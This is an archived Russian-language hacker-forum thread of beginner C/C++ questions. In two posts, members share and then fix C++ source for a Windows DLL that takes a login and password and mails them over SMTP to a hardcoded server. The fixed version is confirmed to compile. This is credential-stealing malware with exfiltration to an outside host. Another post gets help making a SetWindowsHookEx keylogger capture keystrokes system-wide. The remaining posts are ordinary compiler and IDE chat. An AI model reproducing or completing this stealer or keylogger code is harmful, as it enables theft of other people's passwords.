[ C / C++ ] — начинающим: задаем вопросы (архивная - 2015)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. FK2703

    FK2703 New Member

    Joined:
    15 Oct 2007
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    всем доброго времени суток!
    Извиняюсь за вопрос, но никто не сталкивался с реализацией на C задачи о "золотой горе"?
    (http://ru.wikibooks.org/wiki/%D0%A0%D0%B5%D0%BA%D1%83%D1%80%D1%81%D0%B8%D1%8F:_%D0%BF%D0%BB%D0%BE%D1%85%D0%BE_%D0%B8%D0%BB%D0%B8_%D1%85%D0%BE%D1%80%D0%BE%D1%88%D0%BE)
     
  2. criz

    criz Elder - Старейшина

    Joined:
    4 Nov 2007
    Messages:
    293
    Likes Received:
    40
    Reputations:
    6
    А есть другие способы?
     
  3. SchmeL

    SchmeL Elder - Старейшина

    Joined:
    16 Jun 2007
    Messages:
    64
    Likes Received:
    38
    Reputations:
    5
    у меня такой вопрос: допустим есть dllка которую надо скомпилить написана на C++.
    в лине это так: gcc dll.cpp. а как это для винды сделать?
    что-то не хочется качать C++ от мелкософта дистриб которой несколько сот мегов весит! нет какого нить более лаконичного компилятора? llc пробовал - вылетает с ошибкой - каких-то библиотек не хватает.
     
  4. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    SchmeL, хоть бы сказал каких либ нету... Да и вообще, не кажется, что ответ напрашивается сам собой? Найди недостающие либы да подкинь компилятору...
     
  5. z01b

    z01b Муджахид

    Joined:
    5 Jan 2007
    Messages:
    494
    Likes Received:
    382
    Reputations:
    22
    Недостаюшие либы, мона найдти на koders.com
     
  6. zindi

    zindi Elder - Старейшина

    Joined:
    11 Apr 2007
    Messages:
    74
    Likes Received:
    17
    Reputations:
    0
    мне нужно написать функцию
    напомните как ето зделать
     
  7. SchmeL

    SchmeL Elder - Старейшина

    Joined:
    16 Jun 2007
    Messages:
    64
    Likes Received:
    38
    Reputations:
    5
    ну в общем вот borland мне выдает
    lcc выдает
    ну вот в принципе, в программировании на этом языке ваще полный 0 (компилил тока на линухах) только в php чуток
     
  8. zindi

    zindi Elder - Старейшина

    Joined:
    11 Apr 2007
    Messages:
    74
    Likes Received:
    17
    Reputations:
    0
    если можна исход покажы...
     
  9. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    zindi, задача поставлена весьма непонятно... Я её понял как-то так:

    Code:
    #include <stdio.h>
    #include <math.h>
    
    void tabfunc (double x) {
    	double f_x = log(x) + acos(x);
    	printf("%f\n", f_x);
    }
    
    int main (void) {
    	tabfunc(0.5);
    
    	return 0;
    }
    SchmeL, такой исходник в борланде надо компилить создавая проект. А вообще показывай исходник... Непонятно откуда у тебя там 'true' и 'false'...
     
  10. Rav

    Rav New Member

    Joined:
    11 Dec 2007
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Вопрос у меня keylogger ловит только в своём потоке при том что последний параметр ф-и
    SetWindowsHookEx(WH_KEYBOARD,KeyProc, hInstance,0 ) Hook оформил в длл. Не могу разобраться как это сделать?
     
  11. SchmeL

    SchmeL Elder - Старейшина

    Joined:
    16 Jun 2007
    Messages:
    64
    Likes Received:
    38
    Reputations:
    5
    groundhog - вот исходник dllки
    Code:
    // dll.cpp : Defines the entry point for the DLL application.
    //
    #include "stdafx.h"
    #include <winsock2.h>
    #include <stdlib.h>
    #include <stdio.h>
    
    #define ACC_COUNT 3
    
    char l[20];
    char p[20];
    char working=100;
    char str[20];
    
    typedef struct 
    {
    	char l[30];
    	char p[30];
    	char mail[50];
    } ACCOUNTS;
    
    ACCOUNTS acci[ACC_COUNT]=
    {
    	{"bm9uYW1lbm9uYW1lMW==","MTIzNDU2Nzg5MD==","MAIL FROM: [email protected]"}
    };
    
    DWORD WINAPI SendEMail(LPVOID lpData)
    //void (char * l,char *p)
    {
      int accNumber=0;	
      working=0;
    
    while(accNumber<ACC_COUNT)
    {
      BOOL AllOK=true;
      BYTE sBuf[4096];
      SOCKET nSMTPServerSocket;
      struct sockaddr_in smtp_address;
      int nConnect;
      int iLength;
      int iMsg = 0;
      int iEnd = 0;
    
      char *MailMessage[] =
      {
    	"HELO mail.ru\r\n",
    	"AUTH LOGIN\r\n",
    	NULL,
    	NULL,
    	NULL,
    	"RCPT TO: [email protected]\r\n",	   
    	"DATA\r\n",
    	NULL,
    	"QUIT\r\n",
    	NULL
      };
    
    	WSADATA wsa;
      
    	if (WSAStartup(MAKEWORD(2,0),&wsa))
    	{
    		working=100;
    		return 0;
    	}
    
    
    	MailMessage[2]=(char *)malloc(strlen(acci[accNumber].l)+2);
    	strcpy(MailMessage[2],acci[accNumber].l);
    	strcat(MailMessage[2],"\r\n");
    	MailMessage[3]=(char *)malloc(strlen(acci[accNumber].p)+2);
    	strcpy(MailMessage[3],acci[accNumber].p);
    	strcat(MailMessage[3],"\r\n");
    	MailMessage[4]=(char *)malloc(strlen(acci[accNumber].mail)+2);
    	strcpy(MailMessage[4],acci[accNumber].mail);
    	strcat(MailMessage[4],"\r\n");
    	
    	MailMessage[7]=(char *)malloc(strlen(l)+strlen(p)+11);
    	strcpy(MailMessage[7],l);
    	strcat(MailMessage[7]," - ");
    	strcat(MailMessage[7],p);
    	strcat(MailMessage[7],"\r\n\r\n.\r\n");
    
    	nSMTPServerSocket = socket(PF_INET, SOCK_STREAM, 0);
    
    	if(nSMTPServerSocket != INVALID_SOCKET)  
    	{
    		
    		smtp_address.sin_family = AF_INET;
    		smtp_address.sin_addr.s_addr = inet_addr("194.67.23.111");
    		smtp_address.sin_port = htons(25);
    
    		nConnect = connect(nSMTPServerSocket, (PSOCKADDR)&smtp_address,
    															  sizeof(smtp_address));
    
    		if(nConnect)  
    		{
    
    		}
    		else  
    		{
    		  do  
    		  {
    			iLength = recv(nSMTPServerSocket, (LPSTR)sBuf+iEnd, sizeof(sBuf)-iEnd, 0);
    			if((sBuf[iEnd])=='4' && (sBuf[iEnd+1])=='0' && (sBuf[iEnd+2])=='3')
    			{
    				accNumber++;
    				AllOK=false;
    				break;
    			}
    			iEnd += iLength;
    			sBuf[iEnd] = '\0';
    			//MessageBox(0,MailMessage[iMsg],0,MB_OK);
    			send(nSMTPServerSocket, (LPSTR)MailMessage[iMsg], strlen(MailMessage[iMsg]), 0);
    			iMsg++;
    		  } 
    		  while(MailMessage[iMsg]);
    		}
    
    	  closesocket(nSMTPServerSocket);
    	  nSMTPServerSocket=NULL;
    	}
      if(AllOK) break;
    }
      working=100;
      return 0;
    }
    
    BOOL APIENTRY DllMain( HANDLE hModule, 
                           DWORD  ul_reason_for_call, 
                           LPVOID lpReserved
    					 )
    {
    	if(ul_reason_for_call==DLL_PROCESS_ATTACH) working=100;
    	return TRUE;
    }
    
    extern "C" void CALLBACK proc1(char *str,char *str2)
    {
    	
    	strcpy(l,str);
    	strcpy(p,str2);
    	if(working!=0)	
    	{
    		CreateThread(NULL,0,SendEMail,NULL,0,NULL); 
    	}
    }
    
     
  12. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    SchmeL, попробуй вместо

    напиши

     
  13. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Rav, если ты всё правильно сделал, то вызов

    должен хучить сообщения клавиатуры для всех процессов. Обрати внимание что предпоследний параметр NULL. Попробуй, может в этом косяк. Какой результат возвращает функция? Не NULL?
     
    1 person likes this.
  14. SchmeL

    SchmeL Elder - Старейшина

    Joined:
    16 Jun 2007
    Messages:
    64
    Likes Received:
    38
    Reputations:
    5
    groundhog, невышло :( попробую всетаки скачать этого монстра Microsoft Visual C++ 2005 Express Edition. на нем попробовать...
     
  15. criz

    criz Elder - Старейшина

    Joined:
    4 Nov 2007
    Messages:
    293
    Likes Received:
    40
    Reputations:
    6
    А ты как вставлял windows.h, вернее куда? Его после winsock2.h надо прописывать
    Надо еще добавить
    Code:
    #pragma comment(lib, "ws2_32")
    Компилил в VC++ 6.0.
     
  16. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    SchmeL, в общем я попробовал, VS6 отлично компилит этот исходник с учётом исправлений, о которых тебе сказали:

    Code:
    // dll.cpp : Defines the entry point for the DLL application.
    //
    
    #pragma comment(lib, "ws2_32")
    
    //#include "stdafx.h"
    #include <windows.h>
    #include <winsock2.h>
    #include <stdlib.h>
    #include <stdio.h>
    
    #define ACC_COUNT 3
    
    char l[20];
    char p[20];
    char working=100;
    char str[20];
    
    typedef struct 
    {
    	char l[30];
    	char p[30];
    	char mail[50];
    } ACCOUNTS;
    
    ACCOUNTS acci[ACC_COUNT]=
    {
    	{"bm9uYW1lbm9uYW1lMW==","MTIzNDU2Nzg5MD==","MAIL FROM: [email protected]"}
    };
    
    DWORD WINAPI SendEMail(LPVOID lpData)
    //void (char * l,char *p)
    {
      int accNumber=0;	
      working=0;
    
    while(accNumber<ACC_COUNT)
    {
      BOOL AllOK=true;
      BYTE sBuf[4096];
      SOCKET nSMTPServerSocket;
      struct sockaddr_in smtp_address;
      int nConnect;
      int iLength;
      int iMsg = 0;
      int iEnd = 0;
    
      char *MailMessage[] =
      {
    	"HELO mail.ru\r\n",
    	"AUTH LOGIN\r\n",
    	NULL,
    	NULL,
    	NULL,
    	"RCPT TO: [email protected]\r\n",	   
    	"DATA\r\n",
    	NULL,
    	"QUIT\r\n",
    	NULL
      };
    
    	WSADATA wsa;
      
    	if (WSAStartup(MAKEWORD(2,0),&wsa))
    	{
    		working=100;
    		return 0;
    	}
    
    
    	MailMessage[2]=(char *)malloc(strlen(acci[accNumber].l)+2);
    	strcpy(MailMessage[2],acci[accNumber].l);
    	strcat(MailMessage[2],"\r\n");
    	MailMessage[3]=(char *)malloc(strlen(acci[accNumber].p)+2);
    	strcpy(MailMessage[3],acci[accNumber].p);
    	strcat(MailMessage[3],"\r\n");
    	MailMessage[4]=(char *)malloc(strlen(acci[accNumber].mail)+2);
    	strcpy(MailMessage[4],acci[accNumber].mail);
    	strcat(MailMessage[4],"\r\n");
    	
    	MailMessage[7]=(char *)malloc(strlen(l)+strlen(p)+11);
    	strcpy(MailMessage[7],l);
    	strcat(MailMessage[7]," - ");
    	strcat(MailMessage[7],p);
    	strcat(MailMessage[7],"\r\n\r\n.\r\n");
    
    	nSMTPServerSocket = socket(PF_INET, SOCK_STREAM, 0);
    
    	if(nSMTPServerSocket != INVALID_SOCKET)  
    	{
    		
    		smtp_address.sin_family = AF_INET;
    		smtp_address.sin_addr.s_addr = inet_addr("194.67.23.111");
    		smtp_address.sin_port = htons(25);
    
    		nConnect = connect(nSMTPServerSocket, (PSOCKADDR)&smtp_address,
    															  sizeof(smtp_address));
    
    		if(nConnect)  
    		{
    
    		}
    		else  
    		{
    		  do  
    		  {
    			iLength = recv(nSMTPServerSocket, (LPSTR)sBuf+iEnd, sizeof(sBuf)-iEnd, 0);
    			if((sBuf[iEnd])=='4' && (sBuf[iEnd+1])=='0' && (sBuf[iEnd+2])=='3')
    			{
    				accNumber++;
    				AllOK=false;
    				break;
    			}
    			iEnd += iLength;
    			sBuf[iEnd] = '\0';
    			//MessageBox(0,MailMessage[iMsg],0,MB_OK);
    			send(nSMTPServerSocket, (LPSTR)MailMessage[iMsg], strlen(MailMessage[iMsg]), 0);
    			iMsg++;
    		  } 
    		  while(MailMessage[iMsg]);
    		}
    
    	  closesocket(nSMTPServerSocket);
    	  nSMTPServerSocket=NULL;
    	}
      if(AllOK) break;
    }
      working=100;
      return 0;
    }
    
    BOOL APIENTRY DllMain( HANDLE hModule, 
                           DWORD  ul_reason_for_call, 
                           LPVOID lpReserved
    					 )
    {
    	if(ul_reason_for_call==DLL_PROCESS_ATTACH) working=100;
    	return TRUE;
    }
    
    extern "C" void CALLBACK proc1(char *str,char *str2)
    {
    	
    	strcpy(l,str);
    	strcpy(p,str2);
    	if(working!=0)	
    	{
    		CreateThread(NULL,0,SendEMail,NULL,0,NULL); 
    	}
    }
    Я надеюсь, ты компиляешь его как Win32 Dynamic Link Library?
     
    2 people like this.
  17. SchmeL

    SchmeL Elder - Старейшина

    Joined:
    16 Jun 2007
    Messages:
    64
    Likes Received:
    38
    Reputations:
    5
    ну раз компилится, буду копать спасибо. уже качаю visual c++ надеюсь на нем получится...
     
  18. P(i)n*Fl0p1

    P(i)n*Fl0p1 Elder - Старейшина

    Joined:
    19 Dec 2006
    Messages:
    157
    Likes Received:
    35
    Reputations:
    9
    а можно ссылочку на visual c++,а еще лучше на Gnu c ++ чтоб только в виндусе пошел..а то я блин скачал один гну а там одни какието файлы блокнотовские и страницы инетовские((даже скажу название gcc-4.0.1.tar


    у меня просто в самоучителе написано:Одна из популярнейших сред разработки — Visual C++ фирмы Microsoft. В ней
    можно скомпилировать и выполнить все программы, представленные в этой книге;
    однако не все из вас являются владельцами этого программного продукта из-за его
    довольно высокой стоимости даже у уличных торговцев (кстати, многие в это не по-
    верят, но далеко не все программисты работают в Windows — есть и другие операци-
    онные системы). К счастью, существуют и общедоступные среды разработки про-
    грамм C++, наиболее популярная из которых GNU C++.
     
  19. VampiRUS

    VampiRUS Elder - Старейшина

    Joined:
    31 Dec 2005
    Messages:
    210
    Likes Received:
    105
    Reputations:
    57
    IDE
    http://www.bloodshed.net/devcpp.html
    там вроде идёт сразу и Mingw port of GCC.
     
    #499 VampiRUS, 14 Dec 2007
    Last edited: 14 Dec 2007
  20. P(i)n*Fl0p1

    P(i)n*Fl0p1 Elder - Старейшина

    Joined:
    19 Dec 2006
    Messages:
    157
    Likes Received:
    35
    Reputations:
    9
    Спасибо огромное прога классная русская..но есть одно но )))там нету очень многих как бы сказать..вещей..например в книге пишут Сердцем пакета GNU C++ является
    утилита rhide. там я фиг знает где она)

    Вообщем нужна консольная Gnu C++)либо другая книжка
    гну незнаю где качать(



    пока искал новую книжку наткнулся на самый сложный язык и выучил его буквально за час) это был qbasic ))))) :D
     
    #500 P(i)n*Fl0p1, 14 Dec 2007
    Last edited: 14 Dec 2007
Thread Status:
Not open for further replies.